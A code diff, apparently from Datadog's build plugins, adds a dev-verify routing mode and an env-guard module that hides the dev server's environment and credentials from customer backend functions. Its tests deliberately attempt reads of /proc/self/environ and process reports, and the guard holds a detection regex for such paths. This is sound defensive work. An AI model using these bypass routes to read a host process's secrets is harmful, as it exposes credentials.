diff --git a/packages/plugins/apps/src/constants.ts b/packages/plugins/apps/src/constants.ts index 0c16433d8..f49567951 100644 --- a/packages/plugins/apps/src/constants.ts +++ b/packages/plugins/apps/src/constants.ts @@ -17,6 +17,9 @@ export const LOCAL_EXECUTION_LOAD_SUFFIX = '?dd-local-exec'; export const BACKEND_FILE_WITH_QUERY_RE = new RegExp( `${BACKEND_FILE_RE.source.slice(0, -1)}(\\?.*)?$`, ); + +/** Vite's own `--mode` value for `npm run dev:verify`, read server-side from `server.config.mode` rather than `import.meta.env.MODE`, which has no CommonJS equivalent and breaks Jest's ts-jest transform. */ +export const DEV_VERIFY_MODE = 'dev-verify'; export const BACKEND_CODE_EXTENSIONS = [ '.ts', '.tsx', diff --git a/packages/plugins/apps/src/vite/dev-server.integration.test.ts b/packages/plugins/apps/src/vite/dev-server.integration.test.ts index 52b85a6dd..4f79ecdd6 100644 --- a/packages/plugins/apps/src/vite/dev-server.integration.test.ts +++ b/packages/plugins/apps/src/vite/dev-server.integration.test.ts @@ -149,6 +149,7 @@ describe('Dev Server Middleware — real end-to-end local execution', () => { mockLongPolling, FIXTURE_ROOT, getMockLogger(), + 'development', ); const req = createMockRequest('/__dd/executeAction', { @@ -193,6 +194,7 @@ describe('Dev Server Middleware — real end-to-end local execution', () => { mockLongPolling, FIXTURE_ROOT, getMockLogger(), + 'development', ); const req = createMockRequest('/__dd/executeAction', { @@ -232,6 +234,7 @@ describe('Dev Server Middleware — real end-to-end local execution', () => { mockLongPolling, FIXTURE_ROOT, getMockLogger(), + 'development', ); const req = createMockRequest('/__dd/executeAction', { @@ -308,6 +311,7 @@ describe('Dev Server Middleware — real end-to-end local execution', () => { mockLongPolling, FIXTURE_ROOT, getMockLogger(), + 'development', ); const req = createMockRequest('/__dd/executeAction', { @@ -357,6 +361,7 @@ describe('Dev Server Middleware — real end-to-end local execution', () => { mockLongPolling, FIXTURE_ROOT, getMockLogger(), + 'development', ); // The connection-ID collector is under test here, not the preview-async round trip @@ -413,6 +418,7 @@ describe('Dev Server Middleware — real end-to-end local execution', () => { mockLongPolling, FIXTURE_ROOT, getMockLogger(), + 'development', ); const apiScope = nock('https://api.datadoghq.com') diff --git a/packages/plugins/apps/src/vite/dev-server.test.ts b/packages/plugins/apps/src/vite/dev-server.test.ts index 481cbe600..3c969d80a 100644 --- a/packages/plugins/apps/src/vite/dev-server.test.ts +++ b/packages/plugins/apps/src/vite/dev-server.test.ts @@ -20,7 +20,7 @@ import { parseAst } from 'rollup/parseAst'; import { encodeQueryName } from '../backend/encodeQueryName'; import type { BackendFunction } from '../backend/types'; -import { LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; +import { DEV_VERIFY_MODE, LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; import type { AppsOptionsWithDefaults } from '../types'; jest.mock('@dd/core/helpers/oauth-request', () => ({ @@ -241,6 +241,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); expect(mockLogFn).toHaveBeenCalledWith( @@ -262,6 +263,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); expect(mockLogFn).not.toHaveBeenCalledWith(expect.anything(), 'warn'); @@ -279,6 +281,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); test('Should call next() for non-POST requests', () => { @@ -378,6 +381,55 @@ describe('Dev Server Middleware', () => { expect(body.result).toEqual({ data: { result: 'hello' } }); expect(apiScope.isDone()).toBe(true); }); + + test('Should route /__dd/executeAction to the cloud path when the dev server was started in dev-verify mode', async () => { + const verifyModeMiddleware = createDevServerMiddleware( + mockViteBuild, + mockLoadModule, + () => mockFunctions, + async () => [], + mockAuth, + getApiKeyRequest(), + mockLongPolling, + '/project', + mockLog, + DEV_VERIFY_MODE, + ); + + mockBuildWithParsedBackend(); + + const apiScope = nock(DD_API_ORIGIN) + .post('/api/v2/app-builder/queries/preview-async') + .reply(200, { data: { id: 'receipt-456' } }) + .get('/api/v2/app-builder/queries/execution-long-polling/receipt-456') + .reply(200, { + data: { + attributes: { + done: true, + outputs: { data: { result: 'via cloud' } }, + }, + }, + }); + + const req = createMockRequest('/__dd/executeAction', { + functionName: encodeQueryName(mockFunctions[0]), + args: ['world'], + }); + const res = createMockResponse(); + const next = jest.fn(); + + verifyModeMiddleware(req, res, next); + expect(next).not.toHaveBeenCalled(); + + await res.done; + + expect(res.statusCode).toBe(200); + const body = JSON.parse(res.getBody()); + expect(body.success).toBe(true); + expect(body.result).toEqual({ data: { result: 'via cloud' } }); + expect(apiScope.isDone()).toBe(true); + expect(mockLoadModule).not.toHaveBeenCalled(); + }); }); describe('debugBundle handler', () => { @@ -391,6 +443,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); test('Should return 400 for missing functionRef', async () => { @@ -504,6 +557,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); test('Should return 400 for missing functionRef', async () => { @@ -539,6 +593,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); const req = createMockRequest('/__dd/executeActionViaCloud', { @@ -660,6 +715,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); const apiScope = nock(DD_API_ORIGIN, { @@ -702,6 +758,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); const req = createMockRequest('/__dd/executeActionViaCloud', { @@ -792,6 +849,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); type PreviewAsyncBody = { @@ -956,6 +1014,7 @@ describe('Dev Server Middleware', () => { { ...mockLongPolling, maxRetries: 1 }, '/project', mockLog, + 'development', ); const apiScope = nock(DD_API_ORIGIN) @@ -995,6 +1054,7 @@ describe('Dev Server Middleware', () => { { ...mockLongPolling, timeoutMs: 100 }, '/project', mockLog, + 'development', ); const apiScope = nock(DD_API_ORIGIN) @@ -1062,6 +1122,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); test('Should return 400 for missing functionRef', async () => { @@ -1116,6 +1177,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); mockLoadModuleReturning(mockFunctions[0], () => 'pure result, no $.Actions call'); @@ -1150,6 +1212,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); mockLoadModuleReturning(funcWithConnection, () => ( @@ -1231,6 +1294,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); mockLoadModuleReturning(funcWithEmptyConnection, () => ( @@ -1485,6 +1549,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); const req = createMockRequest('/__dd/executeAction', { @@ -1522,6 +1587,7 @@ describe('Dev Server Middleware', () => { mockLongPolling, '/project', mockLog, + 'development', ); // Simulate HMR: greet is renamed to greetV2 in the same file. diff --git a/packages/plugins/apps/src/vite/dev-server.ts b/packages/plugins/apps/src/vite/dev-server.ts index fd8b0d232..14a326277 100644 --- a/packages/plugins/apps/src/vite/dev-server.ts +++ b/packages/plugins/apps/src/vite/dev-server.ts @@ -15,6 +15,7 @@ import { encodeQueryName } from '../backend/encodeQueryName'; import type { ExecuteActionRequest, ExecuteActionResponse } from '../backend/protocol'; import type { BackendFunction, BackendOutputs } from '../backend/types'; import { generateDevVirtualEntryContent } from '../backend/virtual-entry'; +import { DEV_VERIFY_MODE } from '../constants'; import type { LongPollingOptions } from '../types'; import { createBackendConnectionIdCollector } from './backend-connection-id-collector'; @@ -522,11 +523,7 @@ async function handleExecuteAction( } } -/** - * Handles POST /__dd/executeActionViaCloud — bundles a backend function and executes it via - * the production round trip (queue + Deno subprocess), kept as its own endpoint - * (`npm run dev:verify`) for pre-publish parity checks rather than a mode flag. - */ +/** Handle POST /__dd/executeActionViaCloud — bundles and executes via the existing production round trip (queue + Deno subprocess); also reached from `/__dd/executeAction` when the dev server itself is running in `dev-verify` mode, via `routeToCloudHandler`. */ async function handleExecuteActionViaCloud( req: IncomingMessage, res: ServerResponse, @@ -559,6 +556,31 @@ async function handleExecuteActionViaCloud( } } +/** Shared by both routes that reach the cloud round trip, so a fix to auth-checking or error handling can't drift between them. */ +function routeToCloudHandler( + req: IncomingMessage, + res: ServerResponse, + functionsByName: Map, + bundle: BundleFn, + auth: AuthConfig, + doAuthenticatedRequest: DoAuthenticatedRequest | undefined, + longPolling: LongPollingConfig, + log: Logger, +): void { + guardAuthenticated(res, doAuthenticatedRequest, (authedRequest) => + handleExecuteActionViaCloud( + req, + res, + functionsByName, + bundle, + auth, + authedRequest, + longPolling, + log, + ), + ); +} + /** * Build a lookup map from encoded query names to BackendFunction objects. */ @@ -584,6 +606,7 @@ export function createDevServerMiddleware( longPolling: LongPollingConfig, projectRoot: string, log: Logger, + mode: string, ): (req: IncomingMessage, res: ServerResponse, next: () => void) => void { const bundle = (func: BackendFunction) => bundleBackendFunction(viteBuild, func, projectRoot, log); @@ -614,33 +637,45 @@ export function createDevServerMiddleware( sendError(res, 500, 'Unexpected error'); }); } else if (req.url === '/__dd/executeAction') { - guardAuthenticated(res, doAuthenticatedRequest, (authedRequest) => - handleExecuteAction( + // Routes server-side on the resolved mode, since the client always calls this one URL regardless of dev/dev-verify mode. + if (mode === DEV_VERIFY_MODE) { + routeToCloudHandler( req, res, functionsByName, + bundle, auth, - authedRequest, + doAuthenticatedRequest, longPolling, - loadModule, - getAllowedConnectionIds, - projectRoot, log, - ), - ); - } else if (req.url === '/__dd/executeActionViaCloud') { + ); + return; + } guardAuthenticated(res, doAuthenticatedRequest, (authedRequest) => - handleExecuteActionViaCloud( + handleExecuteAction( req, res, functionsByName, - bundle, auth, authedRequest, longPolling, + loadModule, + getAllowedConnectionIds, + projectRoot, log, ), ); + } else if (req.url === '/__dd/executeActionViaCloud') { + routeToCloudHandler( + req, + res, + functionsByName, + bundle, + auth, + doAuthenticatedRequest, + longPolling, + log, + ); } else { next(); } diff --git a/packages/plugins/apps/src/vite/env-guard.test.ts b/packages/plugins/apps/src/vite/env-guard.test.ts new file mode 100644 index 000000000..baedb76a9 --- /dev/null +++ b/packages/plugins/apps/src/vite/env-guard.test.ts @@ -0,0 +1,330 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +import fs from 'fs'; +import os from 'os'; +import path from 'path'; + +import { buildScopedEnv, forceResetEnv, runWithScopedEnv } from './env-guard'; + +// Hard backstop: process.env is a process-wide singleton, so a test that leaves it swapped (e.g. a bug skipping its own restore) would otherwise leak into every later test in this Jest worker. +afterEach(() => { + forceResetEnv(); +}); + +describe('env-guard', () => { + describe('buildScopedEnv', () => { + const originalEnv = process.env; + + afterEach(() => { + process.env = originalEnv; + }); + + test('Should include only the safe allowlisted keys from the real environment, dropping everything else', () => { + process.env = { + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'development', + TMPDIR: '/tmp', + AWS_SECRET_ACCESS_KEY: 'super-secret-aws-key', + DD_API_KEY: 'the-dev-servers-own-api-key', + SOME_RANDOM_SHELL_VAR: 'whatever', + }; + + const scoped = buildScopedEnv({}); + + expect(scoped).toEqual({ + PATH: '/usr/bin', + HOME: '/home/dev', + NODE_ENV: 'development', + TMPDIR: '/tmp', + }); + }); + + test('Should merge in the provided Custom Credentials under their own names', () => { + process.env = { PATH: '/usr/bin' }; + + const scoped = buildScopedEnv({ STRIPE_API_KEY: 'sk_test_123' }); + + expect(scoped).toEqual({ PATH: '/usr/bin', STRIPE_API_KEY: 'sk_test_123' }); + }); + + test('Should omit an allowlisted key entirely when unset in the real environment, rather than including it as undefined', () => { + process.env = { PATH: '/usr/bin' }; + + const scoped = buildScopedEnv({}); + + expect('HOME' in scoped).toBe(false); + expect('NODE_ENV' in scoped).toBe(false); + expect('TMPDIR' in scoped).toBe(false); + }); + }); + + describe('runWithScopedEnv', () => { + test('Should expose only the scoped env to fn, not the real process.env', async () => { + const scoped = { PATH: '/usr/bin', STRIPE_API_KEY: 'sk_test_123' }; + + const seenKeys = await runWithScopedEnv(scoped, async () => Object.keys(process.env)); + + expect(seenKeys.sort()).toEqual(['PATH', 'STRIPE_API_KEY']); + }); + + test("Should never expose the real DD_API_KEY/DATADOG_API_KEY (the dev server's own credential) to fn", async () => { + const originalEnv = process.env; + process.env = { ...originalEnv, DD_API_KEY: 'the-dev-servers-own-api-key' }; + + try { + const seenApiKey = await runWithScopedEnv( + { PATH: '/usr/bin' }, + async () => process.env.DD_API_KEY, + ); + expect(seenApiKey).toBeUndefined(); + } finally { + process.env = originalEnv; + } + }); + + test('Should restore the real process.env after fn resolves', async () => { + const realEnv = process.env; + await runWithScopedEnv({ PATH: '/usr/bin' }, async () => undefined); + expect(process.env).toBe(realEnv); + }); + + test('Should restore the real process.env even when fn throws', async () => { + const realEnv = process.env; + await expect( + runWithScopedEnv({ PATH: '/usr/bin' }, async () => { + throw new Error('customer function boom'); + }), + ).rejects.toThrow('customer function boom'); + expect(process.env).toBe(realEnv); + }); + + // Mirrors network-guard.ts's abandon-not-cancel protection: an abandoned execution's late settlement must not restore the real env out from under a newer, still-active scoped window. + test("Should not let an abandoned runWithScopedEnv call's late restore corrupt a newer, currently-active scoped window", async () => { + const realEnv = process.env; + + let resolveAbandoned: (() => void) | undefined; + const abandoned = runWithScopedEnv( + { PATH: '/abandoned' }, + () => + new Promise((resolve) => { + resolveAbandoned = resolve; + }), + ); + + // Simulates the timeout handler abandoning this execution, exactly like local-execution.ts's timer callback. + forceResetEnv(); + expect(process.env).toBe(realEnv); + + // A second, newer execution starts its own scoped-env window. + let resolveCurrent: (() => void) | undefined; + const current = runWithScopedEnv( + { PATH: '/current' }, + () => + new Promise((resolve) => { + resolveCurrent = resolve; + }), + ); + expect(process.env.PATH).toBe('/current'); + + // The abandoned execution's fn() finally settles; its finally block must not restore the real env out from under the still-running newer window. + resolveAbandoned?.(); + await abandoned; + expect(process.env.PATH).toBe('/current'); + + resolveCurrent?.(); + await current; + expect(process.env).toBe(realEnv); + }); + + // Mirrors network-guard.ts's savedX-consumed-not-just-restored invariant: an idle forceResetEnv() must not reinstall a stale snapshot over a real env change made since. + test('Should not let a later, idle forceResetEnv() reinstall a stale snapshot over a real env change made since', async () => { + const realEnv = process.env; + + await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); + expect(process.env).toBe(realEnv); + + // A real, legitimate change to process.env unrelated to this guard, made after its own window already closed. + process.env = { ...realEnv, SOME_NEW_VAR: 'set-after-guard-closed' }; + const updatedRealEnv = process.env; + + // Guard is idle (nothing currently scoped), so this must be a true no-op. + forceResetEnv(); + + expect(process.env).toBe(updatedRealEnv); + process.env = realEnv; + }); + }); + + // Regression coverage for the /proc/.../environ backing-store bypass: swapping process.env alone doesn't stop reads of the kernel-backed environ file directly on Linux. + describe('environ-file guard', () => { + test('Should block fs.readFileSync("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/proc/self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test(`Should block fs.readFileSync("/proc/${process.pid}/environ") during an active scoped-env window`, async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(`/proc/${process.pid}/environ`)).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block fs.promises.readFile("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.readFile('/proc/self/environ')).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block the callback-style fs.readFile("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFile('/proc/self/environ', () => {})).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block fs.createReadStream("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.createReadStream('/proc/self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block fs.openSync/fs.open("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.openSync('/proc/self/environ', 'r')).toThrow( + /not allowed in backend functions/, + ); + expect(() => fs.open('/proc/self/environ', 'r', () => {})).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block fs.promises.open("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.open('/proc/self/environ', 'r')).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block a Buffer or URL path pointing at /proc/self/environ, not just a string path', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(Buffer.from('/proc/self/environ'))).toThrow( + /not allowed in backend functions/, + ); + expect(() => fs.readFileSync(new URL('file:///proc/self/environ'))).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block an unnormalized path like /proc/self/../self/environ, which resolves to the same file', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/proc/self/../self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block /proc/thread-self/environ, not just /proc/self and /proc/', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/proc/thread-self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should not block reading /proc/self/environ once the scoped-env window has closed', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); + + // Off Linux, /proc doesn't exist; the assertion is only that our guard doesn't fire once idle, not that the read succeeds. + expect(() => fs.readFileSync('/proc/self/environ')).not.toThrow( + /not allowed in backend functions/, + ); + }); + + test('Should not block reading an unrelated real file during an active scoped-env window', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-test-${process.pid}.txt`); + fs.writeFileSync(tmpFile, 'not a secret'); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(fs.readFileSync(tmpFile, 'utf8')).toBe('not a secret'); + await expect(fs.promises.readFile(tmpFile, 'utf8')).resolves.toBe( + 'not a secret', + ); + }); + } finally { + fs.rmSync(tmpFile); + } + }); + }); + + describe('process.report.excludeEnv', () => { + // @types/node doesn't declare excludeEnv yet even though Node itself has supported it + // since v13.12 — matches the same cast env-guard.ts's own implementation uses. + const processReport = process.report as unknown as { excludeEnv?: boolean }; + + // process.report.getReport()/writeReport() read the OS-level environment table directly, + // bypassing the process.env swap entirely — confirmed by reproduction before this fix. + test('Should exclude environmentVariables from process.report.getReport() during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const report = process.report.getReport() as { environmentVariables?: unknown }; + expect(report.environmentVariables).toBeUndefined(); + }); + }); + + test('Should restore the real excludeEnv value after the scoped-env window closes', async () => { + const before = processReport.excludeEnv; + + await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); + + expect(processReport.excludeEnv).toBe(before); + }); + + test("Should not clobber a developer's own excludeEnv=true setting made before the scoped-env window opened", async () => { + const before = processReport.excludeEnv; + processReport.excludeEnv = true; + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); + expect(processReport.excludeEnv).toBe(true); + } finally { + processReport.excludeEnv = before; + } + }); + + // Coverage for the writeReport() JS-level wrap. Note: this can't reproduce the bug it fixes + // when run on Node 22+ (this repo's local dev version) — excludeEnv is natively wired up + // there, so the pre-wrap code also passes this locally. The gap only manifests on Node + // <22 (CI pins 20.19.4, confirmed via the sibling getReport() test failing on CI before its + // own wrap was added); this test is real coverage of current behavior, not a reproduction of + // that specific version gap. + test('Should exclude environmentVariables from process.report.writeReport() during an active scoped-env window', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-report-${process.pid}.json`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + process.report.writeReport(tmpFile); + }); + + const written = JSON.parse(fs.readFileSync(tmpFile, 'utf8')) as { + environmentVariables?: unknown; + }; + expect(written.environmentVariables).toBeUndefined(); + } finally { + fs.rmSync(tmpFile, { force: true }); + } + }); + }); +}); diff --git a/packages/plugins/apps/src/vite/env-guard.ts b/packages/plugins/apps/src/vite/env-guard.ts new file mode 100644 index 000000000..4cfee5688 --- /dev/null +++ b/packages/plugins/apps/src/vite/env-guard.ts @@ -0,0 +1,183 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +import fs from 'fs'; +import { syncBuiltinESMExports } from 'node:module'; +import nodePath from 'path'; +import { fileURLToPath } from 'url'; + +import { createEpochGuard } from './execution-epoch'; + +// Scopes process.env to a from-scratch allowlist during local execution, since there's no process boundary here (unlike prod's per-execution Deno subprocess with --allow-env) to stop customer code from reading the dev server's real environment, including its own credentials; also blocks the /proc/.../environ backing-store bypass on Linux, which swapping process.env alone doesn't stop. + +const SAFE_ENV_KEYS = ['PATH', 'HOME', 'NODE_ENV', 'TMPDIR'] as const; + +// customCredentials is currently always {} — Custom Credential resolution for local execution is still undecided, so those values stay unset here rather than read from the real environment. +export function buildScopedEnv(customCredentials: Record): Record { + const scoped: Record = {}; + for (const key of SAFE_ENV_KEYS) { + const value = process.env[key]; + if (value !== undefined) { + scoped[key] = value; + } + } + return { ...scoped, ...customCredentials }; +} + +let savedEnv: typeof process.env | undefined; +let savedExcludeEnv: boolean | undefined; + +// Guards against an abandoned execution's scoped-env window settling after a newer execution has already started its own, mirroring network-guard.ts's and local-execution.ts's abandonment handling. +const envEpoch = createEpochGuard(); + +// Clears savedEnv immediately after consuming it so a later, idle forceResetEnv() call can't reinstall a stale snapshot over a real env change made since. +function restoreEnv(): void { + if (savedEnv) { + process.env = savedEnv; + savedEnv = undefined; + processReport.excludeEnv = savedExcludeEnv; + savedExcludeEnv = undefined; + } +} + +const ENVIRON_PATH_RE = new RegExp(`^/proc/(self|thread-self|${process.pid})/environ$`); + +// fs path arguments can legally be a string, a Buffer, or a file:// URL — checking only the string +// case let a Buffer/URL argument to any of the guarded functions bypass the check entirely. +function toPathString(rawPath: unknown): string | undefined { + if (typeof rawPath === 'string') { + return rawPath; + } + if (Buffer.isBuffer(rawPath)) { + return rawPath.toString(); + } + if (rawPath instanceof URL) { + return fileURLToPath(rawPath); + } + return undefined; +} + +function isEnvironPath(rawPath: unknown): boolean { + const pathString = toPathString(rawPath); + if (pathString === undefined) { + return false; + } + // Normalized before testing: an unnormalized path like /proc/self/../self/environ resolves to + // the same file on Linux but wouldn't match the regex literally. + return ENVIRON_PATH_RE.test(nodePath.posix.normalize(pathString)); +} + +function guardEnvironPath(rawPath: unknown): void { + if (envEpoch.hasActiveScope() && isEnvironPath(rawPath)) { + throw new Error( + "Reading /proc/.../environ is not allowed in backend functions — it exposes the dev server's real, unscoped environment. Use $.Source or a declared Custom Credential instead.", + ); + } +} + +// Every guarded fs entry point takes a leading path argument and forwards the rest unchanged — +// wraps that shared shape once instead of repeating it per function. Sync and callback-style +// functions (readFileSync, readFile, createReadStream, openSync, open) must throw synchronously +// on a guard failure, matching their real Node contract and what callers of a sync API expect. +function wrapGuardedFsFn( + real: (...args: Args) => R, +): (...args: Args) => R { + return (...args: Args): R => { + guardEnvironPath(args[0]); + return real(...args); + }; +} + +// fs.promises.* functions must reject rather than throw synchronously on a guard failure, matching +// their real Promise-returning contract — the `async` wrapper here converts guardEnvironPath's +// throw into a rejection automatically. +function wrapGuardedAsyncFsFn( + real: (...args: Args) => Promise, +): (...args: Args) => Promise { + return async (...args: Args): Promise => { + guardEnvironPath(args[0]); + return real(...args); + }; +} + +// createReadStream/open/openSync/promises.open are separate entry points that map a path to +// readable bytes or a file descriptor without going through readFile*, so they need the same guard. +fs.readFileSync = wrapGuardedFsFn(fs.readFileSync) as typeof fs.readFileSync; +fs.readFile = wrapGuardedFsFn(fs.readFile) as typeof fs.readFile; +fs.promises.readFile = wrapGuardedAsyncFsFn(fs.promises.readFile) as typeof fs.promises.readFile; +fs.createReadStream = wrapGuardedFsFn(fs.createReadStream) as typeof fs.createReadStream; +fs.openSync = wrapGuardedFsFn(fs.openSync) as typeof fs.openSync; +fs.open = wrapGuardedFsFn(fs.open) as typeof fs.open; +fs.promises.open = wrapGuardedAsyncFsFn(fs.promises.open) as typeof fs.promises.open; + +// @types/node doesn't declare excludeEnv yet. It's real, but only wired up to the native report +// generator from Node v22.0.0 — CI pins Node 20.19.4, where setting it is a silent no-op, so it +// alone doesn't close this gap on every Node version this repo supports. Kept anyway: on versions +// that do support it, it also covers reports Node generates on its own via --report-on-fatalerror/ +// --report-on-signal, which the getReport()/writeReport() wraps below can't reach since no JS call +// happens for those. +interface ProcessReportWithExcludeEnv { + excludeEnv?: boolean; +} +const processReport = process.report as unknown as ProcessReportWithExcludeEnv; + +type ReportLike = Record & { environmentVariables?: unknown }; + +// Strips environmentVariables at the JS level so a customer function's own getReport()/ +// writeReport() call is redacted on every supported Node version, not just where excludeEnv is +// wired up. writeReport() lets Node handle filename generation/defaults as normal, then +// post-processes the file it actually wrote rather than reimplementing its naming convention. +const originalGetReport = process.report.getReport.bind(process.report); +process.report.getReport = ((...args: Parameters) => { + const report = originalGetReport(...args) as ReportLike; + if (envEpoch.hasActiveScope()) { + delete report.environmentVariables; + } + return report; +}) as typeof process.report.getReport; + +const originalWriteReport = process.report.writeReport.bind(process.report); +process.report.writeReport = ((...args: Parameters) => { + const filename = originalWriteReport(...args); + if (envEpoch.hasActiveScope()) { + const report = JSON.parse(fs.readFileSync(filename, 'utf8')) as ReportLike; + delete report.environmentVariables; + fs.writeFileSync(filename, JSON.stringify(report, null, 2)); + } + return filename; +}) as typeof process.report.writeReport; + +// installGuardedProperty in network-guard.ts only patches the CJS-style default-export object; +// Node keeps ESM named bindings (e.g. `import { readFileSync } from 'node:fs'`) as separate +// references that stay bound to the original native functions otherwise. +syncBuiltinESMExports(); + +// Wraps only the customer function's own call in local-execution.ts's runScriptLocally, matching runBlocked's scope exactly. +export async function runWithScopedEnv( + scopedEnv: Record, + fn: () => Promise, +): Promise { + const scope = envEpoch.start(); + savedEnv = process.env; + process.env = scopedEnv; + // process.report.getReport()/writeReport() read the OS-level environment table directly, + // bypassing the process.env swap above entirely — the wraps above cover JS-triggered calls on + // every Node version; this also sets excludeEnv for the auto-triggered case on versions that + // support it (see the wraps' own comment for why both exist). + savedExcludeEnv = processReport.excludeEnv; + processReport.excludeEnv = true; + try { + return await fn(); + } finally { + if (scope.concludeIfCurrent()) { + restoreEnv(); + } + } +} + +// Unconditionally restores the real process.env, for an abandoned/timed-out execution whose fn never reaches runWithScopedEnv's own finally; safe to call when idle. +export function forceResetEnv(): void { + envEpoch.forceInvalidate(); + restoreEnv(); +} diff --git a/packages/plugins/apps/src/vite/index.test.ts b/packages/plugins/apps/src/vite/index.test.ts index bc5d9262d..5d72f2471 100644 --- a/packages/plugins/apps/src/vite/index.test.ts +++ b/packages/plugins/apps/src/vite/index.test.ts @@ -8,12 +8,20 @@ import { getVitePlugin } from '@dd/apps-plugin/vite/index'; import type { ViteBundler } from '@dd/apps-plugin/vite/index'; import { localExecutionResolutionContext } from '@dd/apps-plugin/vite/local-execution'; import { InjectPosition } from '@dd/core/types'; -import { getContextMock, getRepositoryDataMock, mockLogFn } from '@dd/tests/_jest/helpers/mocks'; +import { + createMockRequest, + createMockResponse, + getContextMock, + getRepositoryDataMock, + mockLogFn, +} from '@dd/tests/_jest/helpers/mocks'; +import type { IncomingMessage, ServerResponse } from 'http'; +import nock from 'nock'; import { parseAst } from 'rollup/parseAst'; import { encodeQueryName } from '../backend/encodeQueryName'; import type { BackendFunction } from '../backend/types'; -import { LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; +import { DEV_VERIFY_MODE, LOCAL_EXECUTION_LOAD_SUFFIX } from '../constants'; type TransformHandler = (code: string, id: string, transformOptions?: { ssr?: boolean }) => unknown; @@ -138,6 +146,8 @@ function mockBuildWithParsedBackend() { }); } +const DD_API_ORIGIN = 'https://api.datadoghq.com'; + const defaultOptions = { bundler: mockVite, context: getContextMock({ @@ -188,6 +198,10 @@ describe('Backend Functions - getVitePlugin', () => { jest.spyOn(assets, 'collectAssets').mockResolvedValue([]); }); + afterEach(() => { + nock.cleanAll(); + }); + test('Should return a vite plugin object with closeBundle', () => { const plugin = getVitePlugin(defaultOptions); expect(plugin).toBeDefined(); @@ -540,4 +554,82 @@ describe('Backend Functions - getVitePlugin', () => { }, }); }); + + // Exercises the real configureServer hook (not createDevServerMiddleware directly), since only that catches a regression in how it forwards server.config.mode. + test('Should route /__dd/executeAction to the cloud path when configureServer sees a dev-verify server.config.mode', async () => { + const plugin = getVitePlugin(defaultOptions); + const transform = plugin!.transform as { + handler: (code: string, id: string) => unknown; + }; + + await transform.handler.call( + { + parse: parseAst, + resolve: jest.fn(async () => null), + load: jest.fn(async () => null), + addWatchFile: jest.fn(), + }, + ` + export function myHandler() {} + export function otherFunc() {} + `, + '/build/src/backend/myHandler.backend.ts', + ); + + // Unlike closeBundle's default mock (chunk metadata only), the cloud path bundles first and logs code.length, so this needs a real chunk `code`. + mockViteBuild.mockImplementation(async (config) => { + emitModuleParsed( + config, + '/build/src/backend/myHandler.backend.ts', + 'export function myHandler() {} export function otherFunc() {}', + ); + return { + output: [{ type: 'chunk', isEntry: true, name: bundleName1, code: '// bundled' }], + }; + }); + + 